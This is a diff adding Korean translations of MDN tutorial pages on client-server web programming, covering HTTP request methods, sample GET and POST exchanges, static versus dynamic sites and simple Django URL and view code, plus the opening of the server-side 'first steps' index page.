+   <li><code>GET</code>: 특정 리소스를 얻습니다. (예: 제품의 대한 정보 또는 제품 목록을 제공하는 HTML파일). </li>
+   <li><code>POST</code>: 새로운 리소스를 만듭니다. (예: 위키에 새로운 기사를 추가 하기, 데이터베이스와 새로운 연결을 추가하기). </li>
+   <li><code>HEAD</code>: 특정 리소스의 내용 부분을 제외한 메타데이터 정보를 가져옵니다. 예를 들어 HEAD 요청을 사용하여 리소스가 마지막으로 업데이트 된 시간을 확인한 다음 리소스가 변경된 경우에만 (더 비싼) GET 요청을 사용하여 리소스를 다운로드 할 수 있습니다. </li>
+   <li><code>PUT</code>: 기존에 있던 리소스를 업데이트 합니다. (또는 그 리소스가 없었다면 새로 만들어줍니다)</li>
+   <li><code>DELETE</code>: 특정 리소스를 삭제합니다.</li>
+   <li><code>TRACE</code>, <code>OPTIONS</code>, <code>CONNECT</code>, <code>PATCH</code>: 이 메소드는 덜 일반적인 / 고급 작업을위한 것이므로 여기서 다루지는 않습니다.</li>
+  </ul>
+ </li>
+ <li>요청과 함께 추가 정보 (예 : HTML 양식 데이터)를 인코딩 할 수 있습니다. 정보는 다음과 같이 인코딩 될 수 있습니다:</li>
+</ul>
+
+<p>URL 매개변수들: <code>GET</code> requests는 이름/값 쌍을 끝에 추가하여 서버에 보낸 URL 데이터를 인코딩 합니다.  예를 들어<code>http://mysite.com<strong>?name=Fred&amp;age=11</strong></code>. 물음표(<code>?</code>)를 항상 볼수 있는데 이것은 URL과 URL 매개변수를 분리 합니다, (<code>=</code>)은 매개변수의 이름과 값을 분리합니다. 그리고(<code>&amp;</code>)는 이름/값 쌍을 분리합니다.  URL 매개 변수는 사용자가 변경하여 다시 제출할 수 있으므로 본질적으로 "안전하지 않음"입니다. 그런 이유로URL 매개변수들/<code>GET</code> 요청은 서버에 데이터를 업데이트를 하는 요청에 사용되지 않습니다.</p>
+
+<ul>
+ <li><code>POST</code> 데이터. POST 요청은 요청 본문 내에 인코딩 된 데이터를 새 리소스에 추가합니다.</li>
+ <li>클라이언트 측 쿠키. 쿠키는 서버가 로그인 상태 및 권한 / 자원에 대한 액세스를 결정하는 데 사용할 수있는 키를 포함하여 클라이언트에 대한 세션 데이터를 포함합니다.</li>
+</ul>
+
+<p>웹 서버는 클라이언트의 요청 메시지를 기다리고, 메시지가 오면 그것들을 처리하고,  웹 브라우저에 HTTP Response메시지를 응답합니다. 응답에는 요청 성공여부를 나타내는 <a href="https://developer.mozilla.org/ko/docs/Web/HTTP/Status">HTTP Response status code</a>를 포함합니다.(예 "<code>200 OK</code>" 응답 성공, "<code>404 Not Found</code>" 해당 리소스를 찾을 수 없음, "<code>403 Forbidden</code>" 사용자가 해당 리소스를 볼 자격을 증명하지 않음, 기타 등등).  성공적인 응답이라면 GET request에서 요청한 리소스를 포함한 본문 일 것 입니다.</p>
+
+<p>HTML 페이지가 반환 되면 웹 브라우저에 의해 렌더링 될 것입니다. 그 과정에서 브라우저는 다른 리소스와 링크된 것들을 찾을수도 있습니다.(예  HTML page 종종 JavaScript나 CSS pages를 참조합니다), 그리고 별도의 HTTP Requests로 그 파일들을 다운로드 합니다.</p>
+
+<p>정적 웹사이트및 동적 웹사이트는 (다음 섹션에서 설명하는) 정확히 같은 통신 프로토콜/패턴을 사용합니다.</p>
+
+<h3 id="GET_requestresponse_example">GET request/response example</h3>
+
+<p>당신은 링크를 클릭하거나 사이트를 검색하는 간단한 <code>GET</code> request를 만들 수 있습니다.(검색엔진의 홈페이지 같은). 예를 들자면, 만약 당신이 MDN에서 "클라이언트 서버 개요"를 검색하면  전송되는 HTTP request는 아래의 텍스트와 매우 유사할 것 입니다(메시지의 일부가 브라우저/설정에 따라 다르므로 같지는 않습니다).</p>
+
+<div class="note">
+<p>HTTP 메시지의 형식은 "웹 표준" (<a href="http://www.rfc-editor.org/rfc/rfc7230.txt">RFC7230</a>)에 정의 되어 있습니다. 이 수준의 세부사항을 알 필요는 없지만 적어도 이제는 이 모든 것이 어디서 왔는지를 알 수 있습니다!</p>
+</div>
+
+<h4 id="The_request">The request</h4>
+
+<p>각 라인의 요청들은 그것이 어떤 정보인지 포함 하고 있습니다. 이러한 첫 부분을 <strong>header</strong>라고 합니다, <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">HTML head</a>가 HTML 문서의 유용한 정보를 포함하는 것과 같은 방식으로 유용한 정보를 포함합니다. (실제로 본문에 있는 콘텐츠 자체는 아닙니다.):</p>
+
+<pre>GET https://developer.mozilla.org/en-US/search?q=client+server+overview&amp;topic=apps&amp;topic=html&amp;topic=css&amp;topic=js&amp;topic=api&amp;topic=webdev HTTP/1.1
+Host: developer.mozilla.org
+Connection: keep-alive
+Pragma: no-cache
+Cache-Control: no-cache
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Referer: https://developer.mozilla.org/en-US/
+Accept-Encoding: gzip, deflate, sdch, br
+<code>Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7</code>
+Accept-Language: en-US,en;q=0.8,es;q=0.6
+Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _gat=1; _ga=GA1.2.1688886003.1471911953; ffo=true
+</pre>
+
+<p>첫번째와 두번째라인은 위에서 우리가 말한 많은 종류의 정보를 포함 하고 있습니다:</p>
+
+<ul>
+ <li>요청의 타입(<code>GET</code>).</li>
+ <li>대상 리소스 URL (<code>/en-US/search</code>).</li>
+ <li>URL 인자들 (<code>q=client%2Bserver%2Boverview&amp;topic=apps&amp;topic=html&amp;topic=css&amp;topic=js&amp;topic=api&amp;topic=webdev</code>).</li>
+ <li>대상/호스트 웹 사이트 (developer.mozilla.org).</li>
+ <li>첫번째 줄의 끝 부분은 특정 프로토콜 버전을 식별하는 짧은 문자열도 포함 합니다 (<code>HTTP/1.1</code>).</li>
+</ul>
+
+<p>마지막 줄은 서버측 쿠키의 대한 정보를 포함합니다. — 이번 케이스는 쿠키가 세션을 관리하는 id를 포함하는 것을 볼 수 있습니다.  (<code>Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...</code>).</p>
+
+<p>나머지 줄은 사용하는 브라우저의 정보와 다룰수 있는 요청의 정렬한 정보들을 포함 하고 있습니다. 이것들을 예로 볼 수 있습니다:</p>
+
+<ul>
+ <li>나의 브라우저는 (<code>User-Agent</code>) Mozilla Firefox입니다(<code>Mozilla/5.0</code>).</li>
+ <li>gzip 의 압축된 정보들을 받아들일 수 있습니다(<code>Accept-Encoding: gzip</code>).</li>
+ <li>지정된 문자집합(<code>Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7</code>) 과 언어들을 받아 들일 수 있습니다(<code>Accept-Language: de,en;q=0.7,en-us;q=0.3</code>).</li>
+ <li><code>Referer</code> 줄은 리소스가 링크된 웹 페이지를 포함하는 주소를 지시하고 있습니다 (i.e. the origin of the request, <code>https://developer.mozilla.org/en-US/</code>).</li>
+</ul>
+
+<p>HTTP requests는 본문을 가질수 있지만 이번 케이스에서는 비어 있습니다.</p>
+
+<h4 id="The_response">The response</h4>
+
+<p>이 요청의 대한 응답의 첫번째 부분은 밑에서 볼 수 있습니다. header에는 다음과 같이 정보들을 포함 하고 있습니다:</p>
+
+<ul>
+ <li>응답 코드의 첫번째 줄은 <code>200 OK</code>를 포함 하고 있습니다, 이것은 우리에게 응답이 성공하였다는 것을 말해주고 있습니다.</li>
+ <li>응답 포맷은 <code>text/html</code>이라는 것을 볼 수 있습니다.  (<code>Content-Type</code>).</li>
+ <li>또한 문자집합을 UTF-8로 사용하는 것을 볼 수 있습니다(<code>Content-Type: text/html; charset=utf-8</code>).</li>
+ <li>또한 이 header는 body가 얼마나 큰지 알려주고 있습니다. (<code>Content-Length: 41823</code>).</li>
+</ul>
+
+<p>메시지의 마지막에는 요청에 의해 반환된 실제 HTML을 포함하는 <strong>본문 </strong>콘텐츠를 볼 수 있습니다.</p>
+
+<pre class="brush: html">HTTP/1.1 200 OK
+Server: Apache
+X-Backend-Server: developer1.webapp.scl3.mozilla.com
+Vary: Accept,Cookie, Accept-Encoding
+Content-Type: text/html; charset=utf-8
+Date: Wed, 07 Sep 2016 00:11:31 GMT
+Keep-Alive: timeout=5, max=999
+Connection: Keep-Alive
+X-Frame-Options: DENY
+Allow: GET
+X-Cache-Info: caching
+Content-Length: 41823
+
+
+
+&lt;!DOCTYPE html&gt;
+&lt;html lang="en-US" dir="ltr" class="redesign no-js"  data-ffo-opensanslight=false data-ffo-opensans=false &gt;
+&lt;head prefix="og: http://ogp.me/ns#"&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;meta http-equiv="X-UA-Compatible" content="IE=Edge"&gt;
+  &lt;script&gt;(function(d) { d.className = d.className.replace(/\bno-js/, ''); })(document.documentElement);&lt;/script&gt;
+  ...
+</pre>
+
+<p>응답 header의 나머지 부분은 응답(예. 생성 되었을 때), 서버및 브라우저가 처리하는 방법의 대한 정보를 포함하고 있습니다(예.  <code>X-Frame-Options: DENY</code>행은 브라우저가 페이지를 다른 사이트의 {{htmlelement ( "iframe")}}에 삽입하는 것을 허용하지 않는 것을 지시합니다).</p>
+
+<h3 id="POST_requestresponse_example">POST request/response example</h3>
+
+<p>HTTP <code>POST</code>는 당신이 정보를 포함한 폼을 작성하여 서버에 저장하기 위해 전송할때 만들어집니다.</p>
+
+<h4 id="The_request_2">The request</h4>
+
+<p>아래의 텍스트는 사용자가 새로운 프로필 정보를 사이트에 전송할때 만들어지는 HTTP request를 보여줍니다. 이 요청의 대한 포맷은 이전 <code>GET</code> request의 예시와 거의 비슷해 보입니다, 그렇지만 첫번째 줄은 이것이 <code>POST</code> 요청임을 보여주고 있습니다. </p>
+
+<pre class="brush: html">POST https://developer.mozilla.org/en-US/profiles/hamishwillee/edit HTTP/1.1
+Host: developer.mozilla.org
+Connection: keep-alive
+Content-Length: 432
+Pragma: no-cache
+Cache-Control: no-cache
+Origin: https://developer.mozilla.org
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
+Content-Type: application/x-www-form-urlencoded
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Referer: https://developer.mozilla.org/en-US/profiles/hamishwillee/edit
+Accept-Encoding: gzip, deflate, br
+Accept-Language: en-US,en;q=0.8,es;q=0.6
+Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; _gat=1; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _ga=GA1.2.1688886003.1471911953; ffo=true
+
+csrfmiddlewaretoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT&amp;user-username=hamishwillee&amp;user-fullname=Hamish+Willee&amp;user-title=&amp;user-organization=&amp;user-location=Australia&amp;user-locale=en-US&amp;user-timezone=Australia%2FMelbourne&amp;user-irc_nickname=&amp;user-interests=&amp;user-expertise=&amp;user-twitter_url=&amp;user-stackoverflow_url=&amp;user-linkedin_url=&amp;user-mozillians_url=&amp;user-facebook_url=</pre>
+
+<p>가장 큰 차이점은 URL이 인자를 가지고 있지 않다는 겁니다. 보다시피, 폼에서 온 정보들은 요청 본문에 인코딩 되어있습니다(예를 들면, 새 사용자의 전체 이름은 다음을 사용하여 설정 합니다: <code>&amp;user-fullname=Hamish+Willee</code>).</p>
+
+<h4 id="The_response_2">The response</h4>
+
+<p>요청에서 온 응답은 아래와 같이 보여집니다. "<code>302 Found</code>"의 상태 코드는 브라우저에게 post가 성공했고,  <code>Location</code> 필드가 지정된 페이지를 로드하기 위해 두번째 HTTP request를 실행해야 하는 것을 알려줍니다. 그렇지 않은 경우 정보는 <code>GET</code> request에 대한 응답정보와 유사합니다.</p>
+
+<pre class="brush: html">HTTP/1.1 302 FOUND
+Server: Apache
+X-Backend-Server: developer3.webapp.scl3.mozilla.com
+Vary: Cookie
+Vary: Accept-Encoding
+Content-Type: text/html; charset=utf-8
+Date: Wed, 07 Sep 2016 00:38:13 GMT
+Location: https://developer.mozilla.org/en-US/profiles/hamishwillee
+Keep-Alive: timeout=5, max=1000
+Connection: Keep-Alive
+X-Frame-Options: DENY
+X-Cache-Info: not cacheable; request wasn't a GET or HEAD
+Content-Length: 0
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: HTTP responses 그리고 requests를 보여주는 예시들은 <a href="https://www.telerik.com/download/fiddler">Fiddler </a>어플리케이션을 사용하여 캡처하였습니다,  그렇지만 당신은 스니퍼(e.g. <a href="http://web-sniffer.net/">http://web-sniffer.net/</a>)나 브라우저 확장 기능인 <a href="https://addons.mozilla.org/en-US/firefox/addon/httpfox/">HttpFox </a>같은 것을 사용하여 확인 할 수 있습니다. 이러한 것을 직접 시도해보세요. 링크된 도구들을 사용하여 여러 사이트들을 돌아다니고 프로필 정보를 수정 하여 다양한 requests 와 responses를 확인해보세요. 현대의 대부분 브라우저는 네트워크 요청을 모니터 할수 있는 도구 또한 가지고 있습니다 (예를들면, Firefox가 가진 도구인 <a href="/en-US/docs/Tools/Network_Monitor">Network Monitor</a> ).</p>
+</div>
+
+<h2 id="Static_sites">Static sites</h2>
+
+<p>정적 사이트는 특정 리소스가 요청될 때마다 서버에서 하드 코딩된 동일한 컨텐츠를 반환하는 사이트 입니다. 예를 들면 당신이  <code>/static/myproduct1.html</code> 에서 제품에 대한 정보페이지를 가지고 있다면 , 이 페이지는 어떤 유저에게나 동일하게 반환될 것입니다. 만약 당신이 비슷한 제품을 사이트에 추가 하고 싶다면 당신은 다른 페이지를 추가하여야 합니다(예. <code>myproduct2.html</code>) . 이것은 실제로 비효율적이 될것입니다 — 제품 페이지가 수천이 된다면? 각 페이지에 (기본 페이지 템플릿, 구조체 등)걸쳐 많은 코드를 반복하고 페이지에 대한 구조를 변경하려는 경우 — 예를 들어 새로운 관련제품에 대한 섹션을 추가하는 경우 — 모든 페이지를 개별적으로 변경해야 합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 정적사이트는 작은수의 페이지만 가지고 있거나 같은 콘텐츠를 모든 유저에게 보내고 싶을때는 좋을 수 있습니다. 그렇지만 페이지 수가 많아지기 시작하면 상당한 비용의 유지비가 필요합니다.</p>
+</div>
+
+<p>어떻게 작동하는지 다시 살펴보겠습니다, 마지막 기사에서 살펴본 정적 사이트의 아키텍쳐는다이어그램을 다시 살펴보면</p>
+
+<p><img alt="A simplified diagram of a static web server." src="https://mdn.mozillademos.org/files/13841/Basic%20Static%20App%20Server.png"></p>
+
+<p>유저가 페이지를 탐색하기를 원할 때, 브라우저는 지정된 HTML 페이지의 URL에 HTTP <code>GET</code> request를 보냅니다. 서버는 요청한 문서를 파일 시스템에서 탐색하고 문서와<a href="https://developer.mozilla.org/ko/docs/Web/HTTP/Status"> HTTP Response status code </a>"<code>200 OK</code>" (성공을 알려주는)를 포함하는 HTTP응답을 반환합니다. 만약 서버가 다른 상태 코드를 반환한다면, 예를들면 "<code>404 Not Found</code>"는 파일이 서버에 없는 경우이고 "<code>301 Moved Permanently</code>"는 파일은 존재하지만 다른 위치로 리다이렉트된 경우입니다 .</p>
+
+<p>이 정적 사이트는 오직 GET requests만 필요합니다, 왜냐하면 이 서버는 변경 할 수 있는 데이터는 저장하지 않기 때문입니다. 또한  HTTP Request 데이터에 기반한 응답을 바꿀 필요가 없습니다(예. URL 인자들 또는 쿠키). </p>
+
+<p>서버측 프로그래밍을 할때는 정적사이트가 어떻게 동작하는지 이해하는 것이 여전히 유용합니다, 왜냐하면 동적사이트가 정적 파일(CSS, JavaScript, static images, etc.)에 대한 요청을 다루는 방법이 거의 동일하기 때문입니다.</p>
+
+<h2 id="Dynamic_sites">Dynamic sites</h2>
+
+<p>동적 사이트는 특별한 URL과 데이터 요청에 의해 생성되거나 콘텐츠를 반환할 수 있습니다(특정 URL에 대해 항상 동일한 하드 코딩 된 파일을 반환하는 것이 아닙니다). 제품 사이트를 이용하는 예를 들면, 서버는 각 제품에 대한 HTML파일을 만들기보다 제품 "데이터"를 데이터베이스에 저장할 것입니다. 제품에 대한HTTP <code>GET</code> Request를 받으면, 서버는 제품ID를 결정하고, 데이터베이스에서 데이터를 가져오고, HTML 템플릿에 가져온 데이터를 집어넣은 HTML페이지를 생성할 것입니다. 이것은 정적 사이트보다 주요한 장점이 있습니다:</p>
+
+<p>데이터베이스를 통해 제품 정보를 쉽게 확장하거나 수정하거나 검색가능한 방식으로 효율적으로 저장 할 수있습니다.</p>
+
+<p>HTML 템플릿을 통해 HTML 구조를 매우 쉽게 바꿀 수 있도록 만들 수 있습니다, 왜냐하면 하나의 위치에 하나의 템플릿만 수행되어야하며 잠재적인 수천개의 정적 페이지에서 수행되지 않아야 하기 때문입니다.</p>
+
+<h3 id="Anatomy_of_a_dynamic_request">Anatomy of a dynamic request</h3>
+
+<p>이 섹션은 "동적" HTTP request와 response 사이클에 대한 단계별 개요를 제공하고, 마지막 기사에서 살펴본 내용을 훨씬 더 자세하게 소개합니다. "실제 상황을 유지하기 위해"우리는 코치가 HTML 형식으로 팀 이름과 팀 크기를 선택하고 다음 게임을 위해 제안 된 "최고의 라인업"을 얻을 수있는 스포츠 팀 매니저 웹 사이트의 컨텍스트를 사용합니다.</p>
+
+<p>아래 다이어그램은 "팀 코치"웹 사이트의 주요 요소와 코치가 "최고의 팀"목록에 액세스 할 때 일련의 작업 순서에 대한 번호가 매겨진 레이블을 보여줍니다. <em>사이트를 동적으로 만드는 부분들은</em> 웹 애플리케이션(이것은 HTTP 요청을 처리하고 HTTP 응답을 반환하는 서버 측 코드를 참조하는 방법입니다), 선수의 정보나 팀 코치의 정보를 포함한 데이터베이스 그리고 <em>HTML 템플릿입니다</em>.</p>
+
+<p><img alt="This is a diagram of a simple web server with step numbers for each of step of the client-server interaction." src="https://mdn.mozillademos.org/files/13829/Web%20Application%20with%20HTML%20and%20Steps.png" style="height: 584px; width: 1226px;"></p>
+
+<p>코치가 팀 이름과 플레이어의 수를 포함한 폼을 전송하면 작업 시퀀스는 다음과 같습니다:</p>
+
+<ol>
+ <li>웹 브라우저는 리소스에 대한 기본 URL을 사용하여 서버에 HTTP <code>GET</code> request을 생성합니다 (<code>/best</code>) , 그리고 팀 및 플레이어의 수를 URL인자로 인코딩하거나(예. <code>/best?team=my_team_name&amp;show=11)또는 URL패턴</code> (예. <code>/best/my_team_name/11/</code>) 으로 인코딩 합니다. 이 요청은 데이터를 꺼내오는데에만 사용 하므로(데이터가 수정 되지 않음) GET request를 사용합니다. </li>
+ <li>웹 서버는 이 요청이 "동적"임을 감지하고 처리를 위해 웹 어플리케이션에 전달합니다(웹서버는 정의된 설정에 의한 패턴 매칭 방법에 기반한 다양한 URL들을 처리하는 방법을  결정 합니다).</li>
+ <li>웹 애플리케션은 이 요청의 대한 의도가 URL에 기반한 "최고의 팀 목록"을 얻는 것 인지 확인하고 (<code>/best/</code>) URL에서 필요한 팀 이름과 플레이어의 숫자를 찾아냅니다. 웹 어플리케이션은 데이터베이스를 통해 필요한 정보를 가져옵니다 (추가 "내부의" 인자들을 사용하여 어떤 플레이어가 "최고"인지 정의하고, 또한 클라이언트측 쿠키에서 로그인한 코치의 신분을 확인 할 수 있습니다).</li>
+ <li>웹 어플리케이션은 HTML template의 자리 표시 자에 데이터(데이터베이스를 통해)를 넣은 HTML 페이지를 동적으로 생성 합니다.</li>
+ <li>웹 어플리케이션은 생성된 HTML을 (웹 서버를 경유하여) 브라우저에 HTTP 상태코드 200 ("success")와 함께 반환합니다. 만약 어떤 것이 HTML을 반환 하는 것을 막았다면 웹 어플리케이션은 다른 코드를 반환할 것 입니다 —예를들자면 "404"는 팀이 존재 하지 않음을 지시합니다.</li>
+ <li>웹 브라우저가 반환한 HTML을 처리하고 참조하는 다른 CSS파일이나 Javascript 파일을 얻기위해 별도의 요청을 보냅니다(7단계를 보십시오).</li>
+ <li>웹 사이트는 파일 시스템에 있는 정적 파일을 로드하고 즉시 브라우저에 반환합니다(올바른 파일 처리는 설정 방법과 URL패턴 매칭을 기반으로 합니다).</li>
+</ol>
+
+<p>데이터베이스에 업데이트를 기록하는 조작도 이와 비슷하게 처리합니다, 단 데이터베이스 업데이트는 브라우저의 HTTP request가 <code>POST</code> request로 인코딩 되어야 합니다. </p>
+
+<h3 id="Doing_other_work">Doing other work</h3>
+
+<p>웹 어플리케이션의 일은 HTTP requests를 전달 받고 HTTP responses를 반환 하는 것 입니다. 데이터베이스와 상호작용 하여 정보를 얻어오거나 업데이트를 하는것은 매우 평범한 작업이지만 코드는 같은 시간에 다른 것들을 하거나 데이터 베이스와 상호작용을 하지 않을 수 있습니다.</p>
+
+<p>웹 어플리케이션의 수행할 수 있는 추가적인 작업에 대한 좋은 예는 사용자가 사이트에 등록 되어있는지 확인 하기위해 이메일을 보내는 것 입니다. 사이트는 로깅 또는 다른 작업을 수행 할 수 있습니다. </p>
+
+<h3 id="Returning_something_other_than_HTML">Returning something other than HTML</h3>
+
+<p>서버측 웹사이트 코드는 HTML 스니펫/파일만을 반환하지는 않습니다. 그 대신 다양한 파일들(text, PDF, CSV, etc.) 과 데이터(JSON, XML, etc.)를 동적으로 생성하여 반환 할 수 있습니다.</p>
+
+<p>({{glossary("AJAX")}})를 동적으로 업데이트 할 수 있도록 데이터를 웹 브라우저로 반환하는 아이디어는 꽤 오래있었습니다. 최근에는 "단일 페이지 앱" 인기가 있기 사작하였고, 전체의 웹 사이트는 필요한 경우 동적으로 업데이트되는 단일 HTML페이지로 작성 되었습니다. 이 스타일의 애플리케이션을 사용하여 만든 웹 사이트는 서버에서 해야 할 계산을 웹 브라우저로 이동시켜 웹 사이트가 기본 애플리케이션처럼 작동하는 것처럼 보일 수 있습니다 (반응이 빠른, 기타 등등.).</p>
+
+<h2 id="Web_frameworks_simplify_server-side_web_programming">Web frameworks simplify server-side web programming</h2>
+
+<p>서버측 웹 프레임 워크는 위에서 설명한 작업을 훨씬 쉽게 처리할 수 있는 코드를 제공합니다.</p>
+
+<p>그들이 수행하는 가장 중요한 작업 중 하나는 다양한 리소스 / 페이지에 대한 URL을 특정 처리기 기능에 매핑하는 간단한 메커니즘을 제공하는 것입니다. 이는 분리된 리소스의 각각 타입들이 관련된 코드를 보관하는 것을 쉽게 만들어 줍니다. 또한 유지 보수 측면에서도 이점이 있습니다, 핸들러 기능을 변경하지 않고도 한 곳에서 특정 기능을 제공하는 데 사용되는 URL을 변경할 수 있기 때문입니다.</p>
+
+<p>예를 들어, 2개의 뷰 함수를 2개의 URL에 매핑하는 다음의 Django (Python)코드를 보면. 첫 번째 패턴은 리소스 URL이 / best 인 HTTP 요청이 views 모듈의 index () 함수에 전달되도록합니다. "/ best / junior"패턴을 가진 요청은 대신 junior ()보기 기능으로 전달됩니다.</p>
+
+<pre class="brush: python"># file: best/urls.py
+#
+
+from django.conf.urls import url
+
+from . import views
+
+urlpatterns = [
+    # example: /best/
+    url(r'^$', views.index),
+    # example: /best/junior/
+    url(r'^junior/$', views.junior),
+]</pre>
+
+<div class="note">
+<p><strong>Note</strong>: url () 함수의 첫 번째 매개 변수는 "정규 표현식"(RegEx 또는 RE)이라는 패턴 일치 기술을 사용하기 때문에 조금 이상하게 보일 수 있습니다 (예 : r' ^ junior / $ '). 위의 하드 코딩 된 값 대신 URL에서 패턴을 일치시키고 뷰 기능에서 매개 변수로 사용할 수있는 것 외에는 정규 표현식이 어떻게 작동하는지 알 필요가 없습니다. 예를 들어, 정말 간단한 RegEx는 "하나의 대문자와 일치하고 4 ~ 7 자의 소문자가옵니다"라고 말할 수 있습니다</p>
+</div>
+
+<p>웹프레임 워크는 뷰 함수가 데이터베이스안의 정보를 가져오는 것 또한 쉽게 만들어 줍니다. 데이터 구조는 기본 데이터베이스에 저장할 필드를 정의하는 Python 클래스 인 모델에서 정의됩니다. "team_type"필드를 가진 Team이라는 모델이 있다면 간단한 쿼리 구문을 사용하여 특정 유형의 모든 팀을 되 찾을 수 있습니다.</p>
+
+<p>아래 예제는 정확한 (대소 문자 구분) <code>team_type</code>이 "junior"인 모든 팀의 목록을 가져옵니다. - 필드 이름 (<code>team_type</code>)과 두 번째 밑줄, 그리고 사용할 일치 유형 (이 경우 <code>정확한</code>). 다른 많은 유형의 경기가 있으며 데이지 체인 방식으로 경기를 진행할 수 있습니다. 우리는 또한 반환 된 결과의 순서와 수를 제어 할 수 있습니다. </p>
+
+<pre class="brush: python">#best/views.py
+
+from django.shortcuts import render
+
+from .models import Team
+
+
+def junior(request):
+    list_teams = Team.objects.filter(team_type__exact="junior")
+    context = {'list': list_teams}
+    return render(request, 'best/index.html', context)
+</pre>
+
+<p><code>junior()</code> 함수가 주니어 팀 목록을 얻은 후에 원래 <code>HttpRequest</code>, HTML 템플리트 및 템플리트에 포함될 정보를 정의하는 "컨텍스트"객체를 전달하여<code>render()</code> 함수를 호출합니다. <code>render()</code>함수는 컨텍스트와 HTML 템플릿을 사용하여 HTML을 생성하고 <code>HttpResponse</code>객체에 반환하는 편리한 함수입니다.</p>
+
+<p>분명히 웹 프레임 워크는 많은 다른 작업을 도와 줄 수 있습니다. 우리는 다음 기사에서 더 많은 이점과 일부 대중적인 웹 프레임 워크 선택에 대해 논의합니다.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>이 시점에서 서버 측 코드가 수행해야하는 작업을 잘 살펴보고 서버 측 웹 프레임 워크가 이를 쉽게 수행 할 수있는 몇 가지 방법을 알고 있어야합니다.</p>
+
+<p>다음 모듈에서는 당신이 첫 번째 사이트에 가장 적합한 웹 프레임 워크를 선택할 수 있도록 도와 드리겠습니다</p>
+
+<p>{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p>
diff --git a/files/ko/learn/server-side/first_steps/index.html b/files/ko/learn/server-side/first_steps/index.html
new file mode 100644
index 0000000000..a8faa4352b
--- /dev/null
+++ b/files/ko/learn/server-side/first_steps/index.html
@@ -0,0 +1,39 @@
+---
+title: Server-side website programming first steps
+slug: Learn/Server-side/First_steps
+translation_of: Learn/Server-side/First_steps
+---
+<div>{{LearnSidebar}}</div>
+
+<p>서버사이드 프로그래밍 모듈에서 우리는 서버사이드 프로그래밍에 대해 몇 가지 근본적인 질문을 합니다.  — "그게 뭐야?", "클라이언트 사이드 프로그래밍과 뭐가 달라?",  "왜 쓸만해?". 여기서 우리는 여러분의 첫 웹사이트를 만드는 데에 필요한 가장 적합한 프레임워크를 어떻게 정하는 지에 대한 적절한 지도와 함께 가장 인기있는 서버 사이드 웹 프레임워크들의 개요를 제공합니다. 끝으로 높은 수준의 웹 서버 보안에 대한 소개를 제공합니다.</p>
+
+<h2 id="전제_조건">전제 조건</h2>
+
+<p>이 모듈을 시작하기 전에, 서버사이드 프로그래밍이나 혹은 사실상 다른 어떠한 프로그래밍 지식도 필요 하지 않습니다.</p>
+
+<p>"웹이 어떻게 동작하는가" 를 이해해야 합니다.  다음의 토픽들을 우선 읽어보는 것을 추천합니다.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_web_server">웹 서버란 무엇인가 (What is a web server</a>)</li>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_software_do_I_need">웹사이트를 만들기 위해서는 어떤 소프트웨어가 필요한가 (What software do I need to build a website?</a>)</li>
+ <li><a href="/en-US/docs/Learn/Common_questions/Upload_files_to_a_web_server">어떻게 웹 서버에 파일을 업로드 하는가 (How do you upload files to a web server?</a>)</li>
+</ul>
+
+<p>이러한 기본적인 이해가 있다면,  이 섹션의 모듈들을 공부할 준비가 되었습니다.</p>
+
+<h2 id="가이드">가이드</h2>
+
+<dl>
+ <dt>서버 사이드에 대한 소개 (<a href="https://developer.mozilla.org/ko/docs/Learn/Server-side/First_steps/Introduction">Introduction to the server side</a>)</dt>
+ <dd>MDN의 초급자 서버 사이드 프로그래밍 코스에 오신 것을 환영합니다! 첫 글에서는, '서버사이드란 무엇인가', '클라이언트 사이드 프로그래밍과 어떤 점이 다른가', 그리고 '왜 유용한가' 와 같은 질문들에 답하며 서버 사이드 프로그래밍을 상위 단계부터 살펴봅니다. 이 글을 읽고 난 후, 서버 사이드 코딩을 통해 웹사이트에 추가적인 작업들을 할 수 있다는 것을 이해하게 될 것입니다.</dd>
+ <dt>클라이언트 - 서버 개요 (<a href="https://developer.mozilla.org/ko/docs/Learn/Server-side/First_steps/Client-Server_overview">Client-Server overview</a>)</dt>
+ <dd>당신이 서버 사이드 프로그래밍의 목적과 잠재적인 이점에 대해 알고 있기 때문에,  이제 서버가 브라우저로 부터 "동적 요청"을 받으면 어떤 일이 일어나는 지를 자세히 알아보고자 합니다.  대부분의 웹사이트 서버 사이드 코드는 요청 및 응답을 비슷한 방식으로 다루기 때문에, 이것은 당신이 코드를 짤 때 무엇을 해야 하는지 이해하도록 도울 것입니다.</dd>
+ <dt>서버 사이드 웹 프레임워크 (<a href="/en-US/docs/Learn/Server-side/First_steps/Web_frameworks">Server-side web frameworks</a>)</dt>
